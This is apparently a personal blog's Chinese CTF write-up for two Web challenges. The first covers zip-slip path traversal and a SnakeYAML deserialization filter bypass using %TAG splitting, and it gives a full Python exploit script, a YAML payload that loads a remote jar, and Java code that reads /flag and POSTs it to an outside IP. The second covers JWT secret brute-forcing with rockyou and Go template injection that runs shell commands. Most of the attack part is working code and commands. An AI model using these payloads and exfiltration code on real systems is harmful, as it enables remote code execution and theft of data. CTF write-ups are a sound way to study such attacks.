yemaster的小窝

第七届强网拟态决赛白盒资格赛Web部分wp

2024-11-23
208

turn

  • tags: SpringBoot,unzip目录穿越,snakeyaml反序列化

分析

首先反编译 jar,根据 Controllers,可以看到有一个文件上传路由,能够上传 zip 文件和解压 zip 文件,还有一个是解析 yaml 文件。因此这道题是分两步走,第一步是通过 unzip 做到目录穿越给 yaml 解析,然后第二步是 yaml 解析的反序列化漏洞。

  • UploadController 部分
@PostMapping({"/upload"})
public ResponseEntity<String> upload(@RequestParam("file") MultipartFile file) {
    if (!file.getOriginalFilename().endsWith(".zip")) {
        return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("Only .zip files are allowed.");
    }
    File destinationFile = new File("/tmp/" + file.getOriginalFilename());
    try {
        file.transferTo(destinationFile);
        return ResponseEntity.ok("File uploaded successfully: " + destinationFile.getAbsolutePath());
    } catch (IOException e) {
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("File upload failed: " + e.getMessage());
    }
}

@PostMapping({"/unzip"})
public ResponseEntity<String> unzip(@RequestParam("filename") String filename) {
    File zipFile = new File("/tmp/" + filename);
    if (!zipFile.exists() || !zipFile.getName().endsWith(".zip")) {
        return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("File does not exist or is not a .zip file.");
    }
    File destDir = new File("/tmp/unzipped/");
    if (!destDir.exists()) {
        destDir.mkdirs();
    }
    try {
        ZipInputStream zipIn = new ZipInputStream(Files.newInputStream(zipFile.toPath(), new OpenOption[0]));
        while (true) {
            ZipEntry entry = zipIn.getNextEntry();
            if (entry == null) {
                break;
            }
            File newFile = new File(destDir, entry.getName());
            if (entry.isDirectory()) {
                newFile.mkdirs();
            } else {
                new File(newFile.getParent()).mkdirs();
                Files.copy(zipIn, newFile.toPath(), new CopyOption[0]);
            }
            zipIn.closeEntry();
        }
        ResponseEntity<String> ok = ResponseEntity.ok("File unzipped successfully to: " + destDir.getAbsolutePath());
        if (zipIn != null) {
            if (0 != 0) {
                zipIn.close();
            } else {
                zipIn.close();
            }
        }
        return ok;
    } catch (IOException e) {
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("Unzipping failed: " + e.getMessage());
    }
}
  • YamlController 部分
private static final String BASE_PATH = "/opt/resources/";
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};

@PostMapping({"/handle"})
public String handleYamlFile(@RequestParam String filename) throws Exception {
    String[] strArr;
    if (filename == null || filename.isEmpty() || filename.contains("..")) {
        throw new IllegalArgumentException("Invalid filename.");
    }
    File file = new File(BASE_PATH + filename);
    if (!file.exists() || !file.getAbsolutePath().startsWith(new File(BASE_PATH).getAbsolutePath())) {
        throw new IllegalArgumentException("File not found or access denied.");
    }
    Yaml yaml = new Yaml();
    FileInputStream inputStream = new FileInputStream(file);
    StringBuilder contentBuilder = new StringBuilder();
    InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
    BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
    while (true) {
        String line = bufferedReader.readLine();
        if (line == null) {
            break;
        }
        contentBuilder.append(line).append(System.lineSeparator());
    }
    String payload = contentBuilder.toString();
    for (String riskyToken : RISKY_STR_ARR) {
        if (payload.contains(riskyToken)) {
            System.out.println("Cannot have malicious remote script");
            throw new IllegalArgumentException("File contains risky content.");
        }
    }
    yaml.loadAs(payload, Object.class);
    return "hack it";
}

unzip 目录穿越

解压在 /tmp/unzipped,要求弄到 /opt/resources。这个很简单,创建 zip 的时候,把文件名加上 ../../../opt/resources 前缀就行了。

def gen_zip(filename):
    try:
        zipFile = zipfile.ZipFile(f'bad.zip', 'w')
        zipFile.write(f"exp.yaml", f"../../../opt/resources/{filename}", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except Exception as e:
        print(e)

yaml 反序列化解析

首先根据 https://github.com/artsploit/yaml-payload/,得到如下:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://xxx/xxxx.jar"]
  ]]
]

但是 !!,ScriptEngineManager,URLClassLoader 都被禁了。

https://b1ue.cn/archives/407.html 讲述了一个绕过 !! 的方法。原因是每个 !! 修饰过的类都转成了一个 TAG。并且使用了一个固定的前缀:tag:yaml.org,2002:。因此 !!javax.script.ScriptEngineManager 会变成 !<tag:yaml.org,2002:javax.script.ScriptEngineManager>,因此要绕过 !!,我们只需要声明 ! 的 tag 是 tag:yaml.org,2002:,这样子后面再调用 !str 的话实际上就会把 TAG 前缀拼起来得到 tag:yaml.org,2002:str

%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://xxx/xxxx.jar"]]]]

再更进一步的,如果我们定义 ! 的 tag 是 tag:yaml.org,2002:javax.script.ScriptEn,这样子 !gineManager 就会拼接为 tag:yaml.org,2002:javax.script.ScriptEngineManager,这样就完成绕过了。

%TAG !a! tag:yaml.org,2002:javax.script.ScriptEng
%TAG !b! tag:yaml.org,2002:java.net.URLClassL
%TAG !c! tag:yaml.org,2002:java.net.U
---
!a!ineManager [
  !b!oader [[
    !c!RL ["http://xxx/xxx.jar"]
  ]]
]

然后配合文件上传,就可以解析 jar 了。实际攻击时,因为可以出网,所以就外部开了个 web 服务器,然后从外部加载 jar。

一些碎碎念

  • 要注意根据 https://github.com/artsploit/yaml-payload/ 编译 jar 的时候,因为版本问题,导致最初一直加载失败。最后加上 --release 8 才成功。
  • 因为没有回显,从绕过之后到拿到 flag 也花了不少时间。首先试图用 python 开个服务但是跑不通。然后又不知道为什么,反弹 shell 一直过不了,后来就在本地开了个 http 服务,输出所有请求,然后让 jar 去执行命令,然后把结果 POST 出来。

Scripts

  • exp.py
import os
import zipfile
import requests

remote = 'http://localhost:8085/'
filename = os.urandom(8).hex()

def gen_zip(filename):
    try:
        zipFile = zipfile.ZipFile(f'bad.zip', 'w')
        zipFile.write(f"exp.yaml", f"../../../opt/resources/{filename}", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except Exception as e:
        print(e)

def upload_zip(filename):
    files = {'file': (f'{filename}.zip', open('bad.zip', 'rb'), 'application/zip')}
    response = requests.post(f'{remote}/api/upload', files=files)
    print(response.text)
 
def do_unzip(filename):
    data = {
        "filename": f"{filename}.zip"
    }
    response = requests.post(f'{remote}/api/unzip', data=data)
    print(response.text)

def do_yaml(filename):
    data = {
        "filename": f"{filename}"
    }
    response = requests.post(f'{remote}/yaml/handle', data=data)
    print(response.text)

gen_zip(filename)
upload_zip(filename)
do_unzip(filename)
do_yaml(filename)
  • exp.yaml
%TAG !a! tag:yaml.org,2002:javax.script.ScriptEng
%TAG !b! tag:yaml.org,2002:java.net.URLClassL
%TAG !c! tag:yaml.org,2002:java.net.U
---
!a!ineManager [
  !b!oader [[
    !c!RL ["http://10.222.35.21:29023/yaml-payload.jar"]
  ]]
]
  • AwesomeScriptEngineFactory.java 部分
public AwesomeScriptEngineFactory() {
    try {
        ProcessBuilder processBuilder = new ProcessBuilder();
        processBuilder.command("cat", "/flag");
        Process process = processBuilder.start();

        StringBuilder lsOutput = new StringBuilder();
        try (BufferedReader reader = new BufferedReader(
            new InputStreamReader(process.getInputStream())
        )) {
            String line;
            while ((line = reader.readLine()) != null) {
                lsOutput.append(line).append("\n");
            }
        }
            
        int exitCode = process.waitFor();

        URL url = new URL("http://10.222.35.21:39482/");
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

        connection.setRequestMethod("POST");
        connection.setDoOutput(true);
        connection.setRequestProperty("Content-Type", "text/plain; charset=UTF-8");

        try (OutputStream outputStream = connection.getOutputStream()) {
            outputStream.write(lsOutput.toString().getBytes("UTF-8"));
        }

        int responseCode = connection.getResponseCode();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

gift

  • tags: jwt密钥爆破,go模板注入

jwt爆破

登录之后发现 /buy 仍然是 Unauthorized,发现 localStorage 里面放了一个 jwt。于是暴力破解:

>python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzIxODI0OTMsInN1YiI6ImFkbWluYWRtaW4ifQ.ozQR2mEWFqVulXYswd13e6I84BwWFsSFZo_eElJ263c -C -d ../../rockyou.txt

Original JWT:

[+] secret is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "secret"

然后用 secret 签名,将用户名改成 admin,发现没用,然后把 token 加到 Cookie 里面,成功打开 /buy

拿到 8000 分

进入之后,发现有四个按钮。

https://assets.yemaster.cn/2024/11/c16f7bd9339172086c570562d9065790.png

第一个是拿100块钱,第二个是给admin送10块钱然后加10points,然后第三个是提示8000分,然后第四个按钮留言提示需要sign才能使用,从第一和第二个按钮的返回值可以看出,sign目前是空的。

https://assets.yemaster.cn/2024/11/bf8161088d4873b3635bc09fb29a6398.png

然后就通过普通账号和admin账号互相刷分,成功让 admin 拿到 8000 分,但是提示还是显示需要 8000分,但是 sign 变成非空的了,猜想下一步应该是留言。

ssti

留言板用 {{ }} 很明显是一个 ssti,但是用 flask 的 ssti 的常见 payload 都过不了。所以考虑其他的。

搜了下 Handlebars 啥的 ssti,都不行。然后输入 % 的时候,结果变成了 !% (MISSING),搜了下发现是 go 的 fmt 导致的。于是知道这是一个 go 的 ssti。

{{.}} 得到 {/api/v2/backdoor/test/file is the test file},然后这个文件提示了:

func (msg *Command) System(cmd string) string {
    out, err := exec.Command("sh", "-c", cmd).CombinedOutput()
    if err != nil {
        return fmt.Sprintf("Error: %v", err)
    }
    return string(out)
}

然后用 {{.System "cat /flag"}} 拿到 flag。

吐槽

前端交互写的一坨屎,根本用不来,全都是得自己手动看包才可以。

Appendencies

题目源文件:https://assets.yemaster.cn/2024/11/dc2f3729fb81adca6a2c442c74f8557b.zip

分类标签:2024 Web 强网拟态
Comments
168
发布于 2024-11-27 | 回复

hello 师傅 能留下个联系方式吗

yemaster
发布于 2024-11-27 | 回复

回您邮件了。

目录